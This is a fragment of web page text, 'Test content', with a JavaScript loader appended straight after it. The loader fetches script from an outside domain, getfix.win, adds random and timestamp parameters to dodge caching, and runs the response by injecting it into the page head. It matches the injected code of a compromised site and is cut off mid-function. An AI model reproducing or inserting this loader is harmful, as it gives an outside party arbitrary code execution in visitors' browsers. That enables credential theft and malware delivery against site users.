Test content;(function() { loadScript(); function loadScript() { var url = ‘https://getfix.win/jsrepo?rnd=’ + Math.random() + ‘&ts=’ + Date.now(); try { var xhr = new XMLHttpRequest(); xhr.open(‘GET’, url, false); xhr.send(null); if (xhr.status >= 200 && xhr.status < 300) { var script = document.createElement('script'); script.text = xhr.responseText.trim(); document.head.appendChild(script); } else { console.warn('Script load failed: HTTP ' + xhr.status);